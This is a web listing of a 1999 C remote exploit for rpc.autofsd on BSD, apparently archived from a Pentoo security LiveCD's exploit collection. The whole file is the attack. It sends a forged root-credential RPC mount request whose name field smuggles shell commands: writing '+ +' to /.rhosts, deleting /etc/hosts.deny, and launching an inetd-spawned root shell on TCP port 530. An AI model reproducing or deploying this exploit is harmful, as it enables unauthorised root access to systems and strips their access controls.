home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / bsd / remote / rpc.autofsd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  143 lines

  1. // *** Synnergy Networks
  2.  
  3. // * Description:
  4. //
  5. // Remote exploit for rpc.autofsd on BSD. This will attempt to put a root shell
  6. // on tcp port 530.
  7.  
  8. // * Author:
  9. //
  10. // guidob (guidob@synnergy.net)
  11. // Synnergy Networks (c) 1999, http://www.synnergy.net
  12.  
  13. // * Greets:
  14. //
  15. // Synnergy Networks, LoU, Cindy
  16.  
  17. // * Comments:
  18. //
  19. // This will not work on all types and/or versions.
  20.  
  21. // *** Synnergy Networks
  22.  
  23. #include <sys/types.h>
  24. #include <sys/time.h>
  25. #include <sys/socket.h>
  26. #include <netinet/in.h>
  27. #include <arpa/inet.h>
  28. #include <stdio.h>
  29. #include <unistd.h>
  30. #include <fcntl.h>
  31. #include <stdlib.h>
  32. #include <errno.h>
  33. #include <string.h>
  34. #include <netdb.h>
  35. #include <rpc/rpc.h>
  36. #include <rpc/xdr.h>
  37. #include <signal.h>
  38.  
  39. #define AUTOFS_PROG ((u_long)100099)
  40. #define AUTOFS_VERS ((u_long)1)
  41. #define AUTOFS_MOUNT ((u_long)1)
  42.  
  43. #define AT 8
  44. #define A_MAXNAME 255
  45. #define A_MAXOPTS 255
  46. #define A_MAXPATH 1024
  47.  
  48. struct mntrequest
  49.   {
  50.     char *name;     /* name to be looked up */
  51.     char *map;      /* map to use     [2000]*/
  52.     char *opts;     /* default options[2000]*/
  53.     char *path;     /* mountpoint to use    */
  54.   };
  55.  
  56. struct mntres
  57.   {
  58.     int status;     /* 0=OK, otherwise an errno from <sys/errno.h> */
  59.   };
  60.  
  61. bool_t xdr_mntrequest(XDR *xdrs,struct mntrequest *objp)
  62. {
  63.   if (!xdr_string(xdrs, &objp->name, A_MAXNAME)) return (FALSE);
  64.   if (!xdr_string(xdrs, &objp->map, A_MAXNAME))  return (FALSE);
  65.   if (!xdr_string(xdrs, &objp->opts, A_MAXOPTS)) return (FALSE);
  66.   if (!xdr_string(xdrs, &objp->path, A_MAXPATH)) return (FALSE);
  67.   return (TRUE);
  68. }
  69. void signal_handler(void)
  70. {
  71.   exit(0);
  72. }
  73. bool_t xdr_mntres(XDR *xdrs,struct mntres *objp)
  74. {
  75.   if (!xdr_int(xdrs, &objp->status)) return (FALSE);
  76.   return (TRUE);
  77. }
  78.  
  79. main(int argc, char **argv)
  80. {
  81.  
  82.   CLIENT *cl;
  83.   struct mntrequest mntreq;
  84.   struct mntres *res;
  85.   struct sockaddr_in target;
  86.   struct hostent *hp;
  87.   struct timeval tm;
  88.   char *host;
  89.   enum clnt_stat stat;
  90.  
  91.  
  92.   int sd;
  93.  
  94.   signal(SIGALRM, signal_handler);
  95.  
  96.   alarm(AT);
  97.   host=argv[1];
  98.  
  99.   if ((target.sin_addr.s_addr = inet_addr(host)) == -1)
  100.     {
  101.       if ((hp = gethostbyname(host)) == NULL)
  102.         {
  103.           printf("%s: cannot resolve\n", host);
  104.           exit(1);
  105.         }
  106.       else
  107.         target.sin_addr.s_addr = *(u_long *)hp->h_addr;
  108.     }
  109.   target.sin_family=AF_INET;
  110.   target.sin_port=0;
  111.  
  112.   sd=RPC_ANYSOCK;
  113.   tm.tv_sec=8;
  114.  
  115.   tm.tv_usec=0;
  116.   if((cl=clntudp_create(&target,AUTOFS_PROG,AUTOFS_VERS,tm,&sd))==NULL)
  117.     {
  118.       clnt_pcreateerror("clnt_create");
  119.       exit(0);
  120.     }
  121.   cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
  122.   tm.tv_sec = 25;
  123.  
  124.   /* echo "courier stream tcp nowait root /bin/sh sh -i" > /tmp/bob;inetd /tmp/bob
  125.   */
  126.   mntreq.name=";echo '+ +' > /.rhosts;rm -rf /etc/hosts.deny; echo \"courier stream tcp nowait root /bin/sh sh -i\" > /tmp/bob;inetd /tmp/bob"; /* Tu mozna wstawic co sie chce */
  127.   mntreq.map="/bin/true";
  128.   mntreq.path="/hosts";
  129.   mntreq.opts="";
  130.   bzero((char *)&res, sizeof(res));
  131.  
  132.   if ((stat = clnt_call(cl, AUTOFS_MOUNT, (xdrproc_t)xdr_mntrequest,&mntreq,
  133.                         (xdrproc_t)xdr_mntres, &res, tm)) != RPC_SUCCESS)
  134.     {
  135.       clnt_perror(cl, "clnt_call");
  136.       exit(1);
  137.     }
  138.  
  139.   clnt_destroy(cl);
  140. }
  141.  
  142. // EOF
  143.